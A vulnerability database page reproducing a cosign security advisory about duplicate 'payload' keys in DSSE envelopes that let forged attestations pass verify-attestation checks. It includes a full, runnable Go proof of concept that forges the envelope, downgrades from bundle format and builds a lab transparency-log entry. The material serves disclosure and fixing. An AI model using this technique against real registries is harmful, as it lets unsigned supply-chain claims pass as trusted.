Every CVESearch/Get API key

GHSA-m887-h3mp-ww97

Summary For attestations stored in the legacy format (sha256-<digest>.att tag), cosign reads the DSSE envelope with…

Explain with AI
ChatGPTClaudeGoogle AI
Scores
Unknown
No source reports a CVSS or EPSS score yet.
Exploitation
Unknown
No source reports exploitation yet.
Listed fix
None listed
No source lists a fixed version in its version data.Check the description and references.

Overview

Summary

For attestations stored in the legacy format (sha256-<digest>.att tag), cosign reads the DSSE envelope with two different JSON decoders. The signature and subject checks decode it into the dsse.Envelope struct. The predicate type check, the CUE/Rego policy evaluation and the printed output decode the same bytes into a map and read the key "payload". encoding/json matches struct fields case-insensitively and the last matching key wins, so an envelope that contains "payload" and then "Payload" has two readings: the verifier checks the signature on the second value, and --type and --policy run on the first.

An attacker who can change the repository content in the registry, and who does not have the signing key, can make cosign verify-attestation --key ... --type ... --policy ... succeed with attestation content of their choice, for any image that has at least one DSSE envelope signed by that key.

Affected versions

Tested and affected: v3.1.4 and v2.6.5 (official cosign-linux-amd64 release binaries). The two decoders are also on main as of 2026-11-14 (read, not run). Earlier releases were not tested.

Details

  • Signature check: pkg/cosign/verify.go, verifyOCIAttestation (lines 306-329 in v3.1.4). json.Unmarshal into dsse.Envelope, then DSSE verification over that struct's payload.
  • Subject check: pkg/cosign/verifiers.go, IntotoSubjectClaimVerifier (lines 59-91). Same struct decoding.
  • Type and policy: pkg/policy/attestation.go, AttestationToPayloadJSON (lines 67-101). json.Unmarshal into map[string]interface{}, then payloadData["payload"]. Called from cmd/cosign/cli/verify/verify_attestation.go:233 and verify_blob_attestation.go:265, :400.
  • Output: PrintVerification (cmd/cosign/cli/verify/common.go:262-273) prints the raw layer bytes, so jq -r .payload | base64 -d on the output also yields the unsigned statement.

Envelope that triggers it:

{"payloadType":"application/vnd.in-toto+json",
 "payload":"<base64 of a forged in-toto statement>",
 "Payload":"<base64 of a statement signed by the key>",
 "signatures":[{"keyid":"","sig":"<the original signature>"}]}

Two more properties widen the reach:

  1. Fallback from the new bundle format. verify-attestation looks for new-format bundles first and, when it finds none, sets co.NewBundleFormat = false and reads the legacy tag (cmd/cosign/cli/verify/verify_attestation.go:140-146). Whoever controls the registry content decides which path is taken. The signed statement and its signature can be copied out of any new-format bundle. That includes the bundle written by a plain cosign sign in v3, because it is a DSSE-signed in-toto statement (predicate type https://sigstore.dev/cosign/sign/v1). So an image that was only ever signed, never attested, is enough.
  2. Transparency log. On the legacy path the log entry is tied to the SHA-256 of the raw layer bytes and to the public key (VerifyBundle, pkg/cosign/verify.go:1286-1331; compareSigs returns early for attestations). The rewritten envelope needs a new entry. Rekor's dsse v0.0.1 entry type decodes the proposed envelope into the same struct, verifies the genuine signature with the public key and records the hash of the raw string (sigstore/rekor v1.5.4, pkg/types/dsse/v0.0.1/entry.go, Unmarshal). So the entry can be created by anyone who has the public key. I checked this with the Rekor library code and a lab log key trusted through SIGSTORE_REKOR_PUBLIC_KEY. I did not submit anything to the public Rekor instance.

The new bundle verification path itself is not affected.

PoC

The proof of concept is one Go test file that drives the release binary on loopback only. Its source, the go.mod and the commands to run it are in the last section of this report.

The consumer's gate in every variant:

cosign verify-attestation --key org.pub --type slsaprovenance --policy policy.rego IMAGE@DIGEST

policy.rego requires predicate.builder.id to be the organisation's builder. The organisation never signs a provenance attestation.

| Test | Signed by the key | Attacker action (registry write only) | |------|-------------------|----------------------------------------| | TestVerifyAttestationAcceptsUnsignedPredicate | SPDX attestation, legacy format | replaces the .att tag with the two-payload envelope | | TestVerifyAttestationDowngradeFromNewBundle/from_an_SBOM_attestation | SPDX attestation, new bundle format | copies payload and signature from the bundle, empties the referrers fallback tag, writes the .att tag | | TestVerifyAttestationDowngradeFromNewBundle/from_a_plain_image_signature | cosign sign only | same |

Each test first shows the gate rejecting the untouched registry (none of the attestations matched the predicate type). After the change the gate exits 0, prints the forged statement, and the policy has accepted a builder.id from a statement that carries no signature. Each test runs the gate with --insecure-ignore-tlog=true and again with default flags against the lab log.

Results: all three variants pass on v3.1.4 (release binary, sha256 424e2c97d0b45fd7a6b608a87f090f35633f4c23ece5f092d48bba11aaf4bbfa). The first variant also passes on v2.6.5 (release binary, sha256 c3b4f5410e608af03a5eb0aaac84a4313d8da131248e08ff1759ac70c79d1644). On v2.6.5 the two downgrade tests stop in their setup: with the flags the test uses, the v2 signer writes the legacy format, so there is no new-format bundle to start from. I did not adapt them to v2.

Impact

Forged attestation content (SLSA provenance, SBOM, vulnerability scan result, any custom predicate) is accepted as signed by a trusted key. Deployments that gate on verify-attestation --type or --policy, or that parse the command's output, can be made to admit an image on the strength of claims nobody signed. The image must have something signed by the key, so this is not a bypass of cosign verify for an unsigned image.

Who can do it: anyone who can write to the repository in the registry (a push-scoped account is enough on a registry without the referrers API), a compromised registry, mirror or pull-through cache, or someone on the network path of a registry reached without TLS.

What I did not test

  • Keyless verification. A fresh log entry would have to fall inside the certificate validity, so I expect at most a short window after signing.
  • The public Rekor instance (see above).
  • Registries that implement the referrers API. There the attacker has to remove the bundle manifest or control the registry's answers, not just push a tag.
  • verify-blob-attestation, which calls the same function.
  • Other consumers of pkg/policy.AttestationToPayloadJSON, apart from Kyverno (see "Related report and disclosure").

Suggested fix

  1. Decode once. Use the payload that was verified for the type and policy checks. Smallest change: decode into dsse.Envelope in AttestationToPayloadJSON instead of a map. Better: pass the verified statement bytes forward from verification so that nothing parses the envelope a second time.
  2. Reject envelopes with duplicate or case-variant keys before verification.
  3. Print the envelope re-marshalled from the struct, not the raw layer.
  4. The same map lookup is in pkg/cosign/remote/remote.go:140.

Related report and disclosure

Kyverno's image verification reads the envelope in the same way and is affected through its own code and through AttestationToPayloadJSON. I am reporting that to the Kyverno project privately at the same time. Nothing has been published. I can test a patch.

AI assistance disclosure

In line with the Sigstore AI policy: I used an AI assistant for the code review that led to this, for writing the PoC test and for drafting this report. I have run the PoC myself and can explain each step.

Running the proof of concept

Needs Go 1.25 or newer and the cosign release binary. Everything stays on loopback: HTTPS_PROXY points at a dead port for every cosign run.

  1. Save go.mod and verify_attestation_unsigned_predicate_test.go from the two blocks below into an empty directory.

  2. Run:

    go mod tidy
    COSIGN_BIN=/path/to/cosign-linux-amd64 go test -count=1 -v ./...
    

Each test logs the cosign commands it runs and their output, and prints REPRODUCED when the gate accepts the statement that carries no signature.

<details> <summary><code>go.mod</code></summary>

module cosign-poc

go 1.25.11

require (
	github.com/google/go-containerregistry v0.22.1
	github.com/sigstore/rekor v1.5.4
)

require (
	github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect
	github.com/cyberphone/json-canonicalization v0.0.0-20220623050100-57a0ce2678a7 // indirect
	github.com/docker/cli v29.7.2+incompatible // indirect
	github.com/docker/docker-credential-helpers v0.9.3 // indirect
	github.com/go-openapi/analysis v0.26.0 // indirect
	github.com/go-openapi/errors v0.22.8 // indirect
	github.com/go-openapi/jsonpointer v1.0.0 // indirect
	github.com/go-openapi/jsonreference v1.0.0 // indirect
	github.com/go-openapi/loads v0.25.1 // indirect
	github.com/go-openapi/runtime v0.32.5 // indirect
	github.com/go-openapi/spec v0.22.9 // indirect
	github.com/go-openapi/strfmt v0.27.0 // indirect
	github.com/go-openapi/swag/conv v0.28.0 // indirect
	github.com/go-openapi/swag/fileutils v0.28.0 // indirect
	github.com/go-openapi/swag/jsonutils v0.28.0 // indirect
	github.com/go-openapi/swag/loading v0.28.0 // indirect
	github.com/go-openapi/swag/mangling v0.28.0 // indirect
	github.com/go-openapi/swag/pools v0.28.0 // indirect
	github.com/go-openapi/swag/stringutils v0.28.0 // indirect
	github.com/go-openapi/swag/typeutils v0.28.0 // indirect
	github.com/go-openapi/swag/yamlutils v0.28.0 // indirect
	github.com/go-openapi/validate v0.26.3 // indirect
	github.com/go-viper/mapstructure/v2 v2.5.0 // indirect
	github.com/google/uuid v1.6.0 // indirect
	github.com/in-toto/attestation v1.1.2 // indirect
	github.com/in-toto/in-toto-golang v0.11.0 // indirect
	github.com/klauspost/compress v1.19.2 // indirect
	github.com/oklog/ulid/v2 v2.1.1 // indirect
	github.com/opencontainers/go-digest v1.0.0 // indirect
	github.com/opencontainers/image-spec v1.1.1 // indirect
	github.com/secure-systems-lab/go-securesystemslib v0.11.0 // indirect
	github.com/shibumi/go-pathspec v1.3.0 // indirect
	github.com/sigstore/protobuf-specs v0.5.1 // indirect
	github.com/sigstore/sigstore v1.10.9 // indirect
	github.com/sirupsen/logrus v1.9.4 // indirect
	github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect
	go.yaml.in/yaml/v3 v3.0.5 // indirect
	golang.org/x/crypto v0.55.0 // indirect
	golang.org/x/net v0.57.0 // indirect
	golang.org/x/sync v0.22.0 // indirect
	golang.org/x/sys v0.47.0 // indirect
	golang.org/x/term v0.45.0 // indirect
	golang.org/x/text v0.41.0 // indirect
	google.golang.org/genproto/googleapis/api v0.0.0-20260727163830-6c54dddc4772 // indirect
	google.golang.org/protobuf v1.36.12 // indirect
	gotest.tools/v3 v3.5.2 // indirect
)

</details>

<details> <summary><code>verify_attestation_unsigned_predicate_test.go</code></summary>

// Attestation content that was never signed passes
// `cosign verify-attestation` because the DSSE envelope is parsed twice, with
// two different JSON rules. The attacker needs write access to the repository
// (or a position between the consumer and the registry), not the signing key.
package poc

import (
	"context"
	"crypto/ecdsa"
	"crypto/elliptic"
	"crypto/rand"
	"crypto/sha256"
	"crypto/x509"
	"encoding/base64"
	"encoding/hex"
	"encoding/json"
	"encoding/pem"
	"fmt"
	"io"
	"log"
	"net/http/httptest"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"testing"
	"time"

	"github.com/google/go-containerregistry/pkg/name"
	"github.com/google/go-containerregistry/pkg/registry"
	v1 "github.com/google/go-containerregistry/pkg/v1"
	"github.com/google/go-containerregistry/pkg/v1/empty"
	"github.com/google/go-containerregistry/pkg/v1/mutate"
	"github.com/google/go-containerregistry/pkg/v1/random"
	"github.com/google/go-containerregistry/pkg/v1/remote"
	"github.com/google/go-containerregistry/pkg/v1/static"
	"github.com/google/go-containerregistry/pkg/v1/types"
	rekortypes "github.com/sigstore/rekor/pkg/types"
	_ "github.com/sigstore/rekor/pkg/types/dsse/v0.0.1"
)

const (
	trustedBuilder   = "https://ci.example/trusted-builder"
	dsseLayerType    = "application/vnd.dsse.envelope.v1+json"
	intotoPayload    = "application/vnd.in-toto+json"
	offlineSignFlags = "--use-signing-config=false" // plus --tlog-upload=false: the signer side stays offline
)

// attLab is one organisation (registry, image, cosign key pair), one consumer
// gate (a Rego policy on SLSA provenance) and a lab transparency log.
type attLab struct {
	t                          *testing.T
	regHost, dir               string
	digest                     v1.Hash
	image                      string // repo@digest
	key, pub, policy, rekorPub string
	rekorKey                   *ecdsa.PrivateKey
}

func newAttLab(t *testing.T) *attLab {
	reg := httptest.NewServer(registry.New(registry.Logger(log.New(io.Discard, "", 0))))
	t.Cleanup(reg.Close)
	l := &attLab{t: t, regHost: strings.TrimPrefix(reg.URL, "http://"), dir: t.TempDir()}

	img, _ := random.Image(64, 1)
	l.digest, _ = img.Digest()
	l.image = l.regHost + "/team/app@" + l.digest.String()
	if err := remote.Write(l.ref(l.image), img); err != nil {
		t.Fatal(err)
	}
	runCosign(t, []string{"COSIGN_PASSWORD="}, "generate-key-pair", "--output-key-prefix", filepath.Join(l.dir, "org"))
	l.key, l.pub = filepath.Join(l.dir, "org.key"), filepath.Join(l.dir, "org.pub")

	// The consumer's gate: a SLSA provenance attestation signed by the organisation must name the trusted builder.
	l.policy = l.write("policy.rego", "package signature\nimport rego.v1\ndefault allow := false\nallow if input.predicate.builder.id == \""+trustedBuilder+"\"\n")

	// Lab transparency log key, trusted by the consumer through SIGSTORE_REKOR_PUBLIC_KEY like a private Rekor.
	var err error
	if l.rekorKey, err = ecdsa.GenerateKey(elliptic.P256(), rand.Reader); err != nil {
		t.Fatal(err)
	}
	der, _ := x509.MarshalPKIXPublicKey(&l.rekorKey.PublicKey)
	l.rekorPub = l.write("lab-rekor.pub", string(pem.EncodeToMemory(&pem.Block{Type: "PUBLIC KEY", Bytes: der})))
	return l
}

func (l *attLab) write(name, content string) string {
	p := filepath.Join(l.dir, name)
	if err := os.WriteFile(p, []byte(content), 0o600); err != nil {
		l.t.Fatal(err)
	}
	return p
}

func (l *attLab) ref(s string) name.Reference {
	r, err := name.ParseReference(s)
	if err != nil {
		l.t.Fatal(err)
	}
	return r
}

// signSBOM is the only signing the organisation ever does for this image: an SBOM attestation.
func (l *attLab) signSBOM(extraFlags ...string) {
	sbom := l.write("sbom.json", `{"SPDXID":"SPDXRef-DOCUMENT","spdxVersion":"SPDX-2.3","name":"app"}`)
	args := append([]string{"attest", "--key", l.key, "--type", "spdxjson", "--predicate", sbom, "--yes",
		offlineSignFlags, "--tlog-upload=false"}, extraFlags...)
	if out, err := runCosignErr(l.t, []string{"COSIGN_PASSWORD="}, append(args, l.image)...); err != nil {
		l.t.Fatalf("setup: cosign attest failed: %v\n%s", err, out)
	}
}

// gate runs the consumer's check, with transparency log verification on (cosign's default) or off.
func (l *attLab) gate(tlog bool) (string, error) {
	args := []string{"verify-attestation", "--key", l.pub, "--type", "slsaprovenance", "--policy", l.policy}
	if !tlog {
		return runCosignErr(l.t, nil, append(args, "--insecure-ignore-tlog=true", l.image)...)
	}
	return runCosignErr(l.t, []string{"SIGSTORE_REKOR_PUBLIC_KEY=" + l.rekorPub}, append(args, l.image)...)
}

// signImage is a plain `cosign sign` with cosign v3 defaults. The stored bundle holds a DSSE envelope too.
func (l *attLab) signImage() {
	if out, err := runCosignErr(l.t, []string{"COSIGN_PASSWORD="}, "sign", "--key", l.key, "--yes",
		offlineSignFlags, "--tlog-upload=false", l.image); err != nil {
		l.t.Fatalf("setup: cosign sign failed: %v\n%s", err, out)
	}
}

// mustFailBeforeAttack is the control: with the registry content as the signer left it there is no provenance attestation.
func (l *attLab) mustFailBeforeAttack() {
	if out, err := l.gate(false); err == nil {
		l.t.Fatalf("control failed: unexpected result before the registry content was changed\n%s", out)
	}
}

// pushForged is the attack. signedPayload and sig come from any DSSE envelope
// the organisation signed for this image. The attacker writes an envelope with
// two payload keys: "payload" (forged, what a map lookup sees) and "Payload"
// (signed; it comes later, so it is what Go's struct decoding keeps), logs it,
// and stores it under the legacy attestation tag.
func (l *attLab) pushForged(signedPayload, sig string) (forgedPayload string) {
	statement, _ := json.Marshal(map[string]any{
		"_type":         "https://in-toto.io/Statement/v0.1",
		"predicateType": "https://slsa.dev/provenance/v0.2",
		"subject":       []any{map[string]any{"name": l.regHost + "/team/app", "digest": map[string]string{"sha256": l.digest.Hex}}},
		"predicate":     map[string]any{"builder": map[string]string{"id": trustedBuilder}, "buildType": "forged-by-attacker"},
	})
	forgedPayload = base64.StdEncoding.EncodeToString(statement)
	envelope := fmt.Sprintf(`{"payloadType":%q,"payload":%q,"Payload":%q,"signatures":[{"keyid":"","sig":%q}]}`,
		intotoPayload, forgedPayload, signedPayload, sig)

	pubPEM, _ := os.ReadFile(l.pub) // logging the envelope needs only the public key
	img, err := mutate.Append(mutate.MediaType(empty.Image, types.OCIManifestSchema1), mutate.Addendum{
		Layer: static.NewLayer([]byte(envelope), dsseLayerType),
		Annotations: map[string]string{
			"dev.cosignproject.cosign/signature": "",
			"dev.sigstore.cosign/bundle":         labRekorBundle(l.t, l.rekorKey, []byte(envelope), pubPEM),
		},
	})
	if err != nil {
		l.t.Fatal(err)
	}
	if err := remote.Write(l.ref(l.regHost+"/team/app:sha256-"+l.digest.Hex+".att"), img); err != nil {
		l.t.Fatal(err)
	}
	return forgedPayload
}

// mustPassAfterAttack checks that the same gate now accepts content the organisation never signed.
func (l *attLab) mustPassAfterAttack(forgedPayload string) {
	out, err := l.gate(false)
	if err != nil || !strings.Contains(out, forgedPayload) {
		l.t.Fatal("NOT REPRODUCED: verify-attestation rejected the rewritten envelope")
	}
	l.t.Log("REPRODUCED (--insecure-ignore-tlog): verify-attestation exit 0; the policy ran on a provenance statement the key never signed")
	out, err = l.gate(true)
	if err != nil || !strings.Contains(out, "transparency log was verified offline") {
		l.t.Fatal("NOT REPRODUCED with transparency log verification on")
	}
	l.t.Log("REPRODUCED (default flags, lab transparency log): verify-attestation exit 0 with the log check passing")
}

// The organisation stores attestations in the legacy format (every cosign v1/v2
// signer, or v3 with --new-bundle-format=false). Push access is enough.
func TestVerifyAttestationAcceptsUnsignedPredicate(t *testing.T) {
	l := newAttLab(t)
	l.signSBOM("--new-bundle-format=false")
	l.mustFailBeforeAttack()

	att, err := remote.Image(l.ref(l.regHost + "/team/app:sha256-" + l.digest.Hex + ".att"))
	if err != nil {
		t.Fatal(err)
	}
	layers, err := att.Layers()
	if err != nil || len(layers) != 1 {
		t.Fatalf("unexpected attestation image: %v", err)
	}
	rc, _ := layers[0].Compressed()
	defer rc.Close()
	var env struct {
		Payload    string
		Signatures []struct{ Sig string }
	}
	if err := json.NewDecoder(rc).Decode(&env); err != nil || len(env.Signatures) != 1 {
		t.Fatalf("unexpected envelope: %v", err)
	}

	l.mustPassAfterAttack(l.pushForged(env.Payload, env.Signatures[0].Sig))
}

// The organisation uses only the new bundle format (cosign v3 default). The
// attacker takes the signed envelope out of the bundle, hides the bundle, and
// cosign falls back to the legacy path. Any envelope signed for the image
// works: an attestation of another type, or the plain image signature.
func TestVerifyAttestationDowngradeFromNewBundle(t *testing.T) {
	t.Run("from an SBOM attestation", func(t *testing.T) {
		l := newAttLab(t)
		l.signSBOM()
		l.downgrade()
	})
	t.Run("from a plain image signature", func(t *testing.T) {
		l := newAttLab(t)
		l.signImage()
		l.downgrade()
	})
}

func (l *attLab) downgrade() {
	t := l.t
	l.mustFailBeforeAttack()

	// This registry has no referrers API, so cosign keeps the referrers in an index under a fallback tag.
	fallback := l.ref(l.regHost + "/team/app:sha256-" + l.digest.Hex)
	idx, err := remote.Index(fallback)
	if err != nil {
		t.Fatalf("no referrers fallback tag: %v", err)
	}
	im, _ := idx.IndexManifest()
	if len(im.Manifests) != 1 {
		t.Fatalf("expected one referrer, got %d", len(im.Manifests))
	}
	bundleImg, err := idx.Image(im.Manifests[0].Digest)
	if err != nil {
		t.Fatal(err)
	}
	layers, err := bundleImg.Layers()
	if err != nil || len(layers) != 1 {
		t.Fatalf("unexpected bundle artifact: %v", err)
	}
	rc, _ := layers[0].Compressed()
	defer rc.Close()
	var bundle struct {
		DsseEnvelope struct {
			Payload    string
			Signatures []struct{ Sig string }
		}
	}
	if err := json.NewDecoder(rc).Decode(&bundle); err != nil || len(bundle.DsseEnvelope.Signatures) != 1 {
		t.Fatalf("unexpected bundle: %v", err)
	}

	// Hide the bundle: with no new-format bundle in sight cosign switches to the legacy tag.
	if err := remote.WriteIndex(fallback, empty.Index); err != nil {
		t.Fatal(err)
	}
	l.mustPassAfterAttack(l.pushForged(bundle.DsseEnvelope.Payload, bundle.DsseEnvelope.Signatures[0].Sig))
}

// labRekorBundle plays the transparency log. It runs the envelope through the
// Rekor v1 library exactly as the server does for a new dsse entry
// (types.UnmarshalEntry validates and verifies the signature,
// types.CanonicalizeEntry builds the stored body) and then issues the signed
// entry timestamp with the lab key. No Rekor server is contacted.
func labRekorBundle(t *testing.T, logKey *ecdsa.PrivateKey, envelope, signerPubPEM []byte) string {
	ctx := context.Background()
	proposed, err := rekortypes.NewProposedEntry(ctx, "dsse", "0.0.1", rekortypes.ArtifactProperties{
		ArtifactBytes: envelope, PublicKeyBytes: [][]byte{signerPubPEM},
	})
	if err != nil {
		t.Fatalf("rekor rejected the envelope when building the entry: %v", err)
	}
	entry, err := rekortypes.UnmarshalEntry(proposed)
	if err != nil {
		t.Fatalf("rekor validation rejected the envelope: %v", err)
	}
	body, err := rekortypes.CanonicalizeEntry(ctx, entry)
	if err != nil {
		t.Fatal(err)
	}
	t.Logf("rekor library accepted the rewritten envelope; entry body: %.180s...", body)

	der, _ := x509.MarshalPKIXPublicKey(&logKey.PublicKey)
	logID := sha256.Sum256(der)
	// Canonical JSON of the bundle payload: keys in alphabetical order, no spaces.
	payload := fmt.Sprintf(`{"body":%q,"integratedTime":%d,"logID":%q,"logIndex":0}`,
		base64.StdEncoding.EncodeToString(body), time.Now().Unix(), hex.EncodeToString(logID[:]))
	sum := sha256.Sum256([]byte(payload))
	set, err := ecdsa.SignASN1(rand.Reader, logKey, sum[:])
	if err != nil {
		t.Fatal(err)
	}
	return fmt.Sprintf(`{"SignedEntryTimestamp":%q,"Payload":%s}`, base64.StdEncoding.EncodeToString(set), payload)
}

func cosignBin(t *testing.T) string {
	bin := os.Getenv("COSIGN_BIN")
	if bin == "" {
		bin = "cosign"
	}
	abs, err := filepath.Abs(bin)
	if err != nil {
		t.Fatal(err)
	}
	if _, err := os.Stat(abs); err != nil {
		t.Fatalf("cosign binary not found (%v); build it or set COSIGN_BIN", err)
	}
	return abs
}

// runCosign runs cosign with a minimal environment. HTTPS_PROXY points at a
// dead port so that nothing can leave the machine; Go never proxies loopback.
func runCosign(t *testing.T, extraEnv []string, args ...string) string {
	out, _ := runCosignErr(t, extraEnv, args...) // most runs are expected to fail; callers look at what left the process
	return out
}

// runCosignErr is runCosign plus the exit status (nil means exit code 0).
func runCosignErr(t *testing.T, extraEnv []string, args ...string) (string, error) {
	cmd := exec.Command(cosignBin(t), args...)
	home := t.TempDir()
	cmd.Dir = home
	cmd.Env = append([]string{
		"HOME=" + home,
		"PATH=/usr/bin:/bin",
		"TUF_ROOT=" + filepath.Join(home, "tuf"),
		"DOCKER_CONFIG=" + filepath.Join(home, "docker"),
		"HTTPS_PROXY=http://127.0.0.1:1",
		"HTTP_PROXY=http://127.0.0.1:1",
	}, extraEnv...)
	out, err := cmd.CombinedOutput()
	t.Logf("cosign %s\n%s", strings.Join(args, " "), out)
	return string(out), err
}

</details>

Affected

Packages 8

Affected packages
PackageAffectedFixed
cosign-2-dev
Docker Hardened Images:Alpine:3.23
2.6.2-r0 and later, plus listed versions
2.6.2-r12.6.2-r22.6.2-r32.6.3-r02.6.3-r1
Show 26 more versionsShow less
2.6.3-r102.6.3-r22.6.3-r32.6.3-r42.6.3-r52.6.3-r62.6.3-r72.6.3-r82.6.3-r92.6.4-r02.6.4-r12.6.5-r02.6.5-r12.6.5-r102.6.5-r112.6.5-r122.6.5-r132.6.5-r142.6.5-r22.6.5-r32.6.5-r42.6.5-r52.6.5-r62.6.5-r72.6.5-r82.6.5-r9
None listed
cosign-2-fips-dev
Docker Hardened Images:Alpine:3.23
2.6.2-r0 and later, plus listed versions
2.6.2-r12.6.2-r22.6.2-r32.6.3-r02.6.3-r1
Show 26 more versionsShow less
2.6.3-r102.6.3-r22.6.3-r32.6.3-r42.6.3-r52.6.3-r62.6.3-r72.6.3-r82.6.3-r92.6.4-r02.6.4-r12.6.5-r02.6.5-r12.6.5-r102.6.5-r112.6.5-r122.6.5-r132.6.5-r142.6.5-r22.6.5-r32.6.5-r42.6.5-r52.6.5-r62.6.5-r72.6.5-r82.6.5-r9
None listed
cosign-2-fips
Docker Hardened Images:Alpine:3.23
2.6.2-r0 and later, plus listed versions
2.6.2-r12.6.2-r22.6.2-r32.6.3-r02.6.3-r1
Show 26 more versionsShow less
2.6.3-r102.6.3-r22.6.3-r32.6.3-r42.6.3-r52.6.3-r62.6.3-r72.6.3-r82.6.3-r92.6.4-r02.6.4-r12.6.5-r02.6.5-r12.6.5-r102.6.5-r112.6.5-r122.6.5-r132.6.5-r142.6.5-r22.6.5-r32.6.5-r42.6.5-r52.6.5-r62.6.5-r72.6.5-r82.6.5-r9
None listed
cosign-2
Docker Hardened Images:Alpine:3.23
2.6.2-r0 and later, plus listed versions
2.6.2-r12.6.2-r22.6.2-r32.6.3-r02.6.3-r1
Show 26 more versionsShow less
2.6.3-r102.6.3-r22.6.3-r32.6.3-r42.6.3-r52.6.3-r62.6.3-r72.6.3-r82.6.3-r92.6.4-r02.6.4-r12.6.5-r02.6.5-r12.6.5-r102.6.5-r112.6.5-r122.6.5-r132.6.5-r142.6.5-r22.6.5-r32.6.5-r42.6.5-r52.6.5-r62.6.5-r72.6.5-r82.6.5-r9
None listed
cosign-3-dev
Docker Hardened Images:Alpine:3.23
3.0.4-r0 and later, plus listed versions
3.0.5-r03.0.5-r13.0.5-r23.0.5-r33.0.6-r0
Show 33 more versionsShow less
3.0.6-r13.0.6-r23.0.6-r33.0.6-r43.0.6-r53.0.6-r63.1.1-r03.1.1-r13.1.1-r23.1.2-r03.1.2-r13.1.3-r03.1.3-r13.1.3-r103.1.3-r113.1.3-r123.1.3-r133.1.3-r23.1.3-r33.1.3-r43.1.3-r53.1.3-r63.1.3-r73.1.3-r83.1.3-r93.1.4-r03.1.4-r13.1.4-r23.1.4-r33.1.4-r43.1.4-r53.1.5-r03.1.6-r0
None listed
cosign-3-fips-dev
Docker Hardened Images:Alpine:3.23
3.0.4-r0 and later, plus listed versions
3.0.5-r03.0.5-r13.0.5-r23.0.5-r33.0.6-r0
Show 33 more versionsShow less
3.0.6-r13.0.6-r23.0.6-r33.0.6-r43.0.6-r53.0.6-r63.1.1-r03.1.1-r13.1.1-r23.1.2-r03.1.2-r13.1.3-r03.1.3-r13.1.3-r103.1.3-r113.1.3-r123.1.3-r133.1.3-r23.1.3-r33.1.3-r43.1.3-r53.1.3-r63.1.3-r73.1.3-r83.1.3-r93.1.4-r03.1.4-r13.1.4-r23.1.4-r33.1.4-r43.1.4-r53.1.5-r03.1.6-r0
None listed
cosign-3-fips
Docker Hardened Images:Alpine:3.23
3.0.4-r0 and later, plus listed versions
3.0.5-r03.0.5-r13.0.5-r23.0.5-r33.0.6-r0
Show 33 more versionsShow less
3.0.6-r13.0.6-r23.0.6-r33.0.6-r43.0.6-r53.0.6-r63.1.1-r03.1.1-r13.1.1-r23.1.2-r03.1.2-r13.1.3-r03.1.3-r13.1.3-r103.1.3-r113.1.3-r123.1.3-r133.1.3-r23.1.3-r33.1.3-r43.1.3-r53.1.3-r63.1.3-r73.1.3-r83.1.3-r93.1.4-r03.1.4-r13.1.4-r23.1.4-r33.1.4-r43.1.4-r53.1.5-r03.1.6-r0
None listed
cosign-3
Docker Hardened Images:Alpine:3.23
3.0.4-r0 and later, plus listed versions
3.0.5-r03.0.5-r13.0.5-r23.0.5-r33.0.6-r0
Show 33 more versionsShow less
3.0.6-r13.0.6-r23.0.6-r33.0.6-r43.0.6-r53.0.6-r63.1.1-r03.1.1-r13.1.1-r23.1.2-r03.1.2-r13.1.3-r03.1.3-r13.1.3-r103.1.3-r113.1.3-r123.1.3-r133.1.3-r23.1.3-r33.1.3-r43.1.3-r53.1.3-r63.1.3-r73.1.3-r83.1.3-r93.1.4-r03.1.4-r13.1.4-r23.1.4-r33.1.4-r43.1.4-r53.1.5-r03.1.6-r0
None listed

Sources

OSVDHI-rvvj-qoeg-l5vm-mporNo score

### Summary

Summary

For attestations stored in the legacy format (sha256-<digest>.att tag), cosign reads the DSSE envelope with two different JSON decoders. The signature and subject checks decode it into the dsse.Envelope struct. The predicate type check, the CUE/Rego policy evaluation and the printed output decode the same bytes into a map and read the key "payload". encoding/json matches struct fields case-insensitively and the last matching key wins, so an envelope that contains "payload" and then "Payload" has two readings: the verifier checks the signature on the second value, and --type and --policy run on the first.

An attacker who can change the repository content in the registry, and who does not have the signing key, can make cosign verify-attestation --key ... --type ... --policy ... succeed with attestation content of their choice, for any image that has at least one DSSE envelope signed by that key.

Affected versions

Tested and affected: v3.1.4 and v2.6.5 (official cosign-linux-amd64 release binaries). The two decoders are also on main as of 2026-11-14 (read, not run). Earlier releases were not tested.

Details

  • Signature check: pkg/cosign/verify.go, verifyOCIAttestation (lines 306-329 in v3.1.4). json.Unmarshal into dsse.Envelope, then DSSE verification over that struct's payload.
  • Subject check: pkg/cosign/verifiers.go, IntotoSubjectClaimVerifier (lines 59-91). Same struct decoding.
  • Type and policy: pkg/policy/attestation.go, AttestationToPayloadJSON (lines 67-101). json.Unmarshal into map[string]interface{}, then payloadData["payload"]. Called from cmd/cosign/cli/verify/verify_attestation.go:233 and verify_blob_attestation.go:265, :400.
  • Output: PrintVerification (cmd/cosign/cli/verify/common.go:262-273) prints the raw layer bytes, so jq -r .payload | base64 -d on the output also yields the unsigned statement.

Envelope that triggers it:

{"payloadType":"application/vnd.in-toto+json",
 "payload":"<base64 of a forged in-toto statement>",
 "Payload":"<base64 of a statement signed by the key>",
 "signatures":[{"keyid":"","sig":"<the original signature>"}]}

Two more properties widen the reach:

  1. Fallback from the new bundle format. verify-attestation looks for new-format bundles first and, when it finds none, sets co.NewBundleFormat = false and reads the legacy tag (cmd/cosign/cli/verify/verify_attestation.go:140-146). Whoever controls the registry content decides which path is taken. The signed statement and its signature can be copied out of any new-format bundle. That includes the bundle written by a plain cosign sign in v3, because it is a DSSE-signed in-toto statement (predicate type https://sigstore.dev/cosign/sign/v1). So an image that was only ever signed, never attested, is enough.
  2. Transparency log. On the legacy path the log entry is tied to the SHA-256 of the raw layer bytes and to the public key (VerifyBundle, pkg/cosign/verify.go:1286-1331; compareSigs returns early for attestations). The rewritten envelope needs a new entry. Rekor's dsse v0.0.1 entry type decodes the proposed envelope into the same struct, verifies the genuine signature with the public key and records the hash of the raw string (sigstore/rekor v1.5.4, pkg/types/dsse/v0.0.1/entry.go, Unmarshal). So the entry can be created by anyone who has the public key. I checked this with the Rekor library code and a lab log key trusted through SIGSTORE_REKOR_PUBLIC_KEY. I did not submit anything to the public Rekor instance.

The new bundle verification path itself is not affected.

PoC

The proof of concept is one Go test file that drives the release binary on loopback only. Its source, the go.mod and the commands to run it are in the last section of this report.

The consumer's gate in every variant:

cosign verify-attestation --key org.pub --type slsaprovenance --policy…
Record
DHI-rvvj-qoeg-l5vm-mpor
Updated
2026-12-04

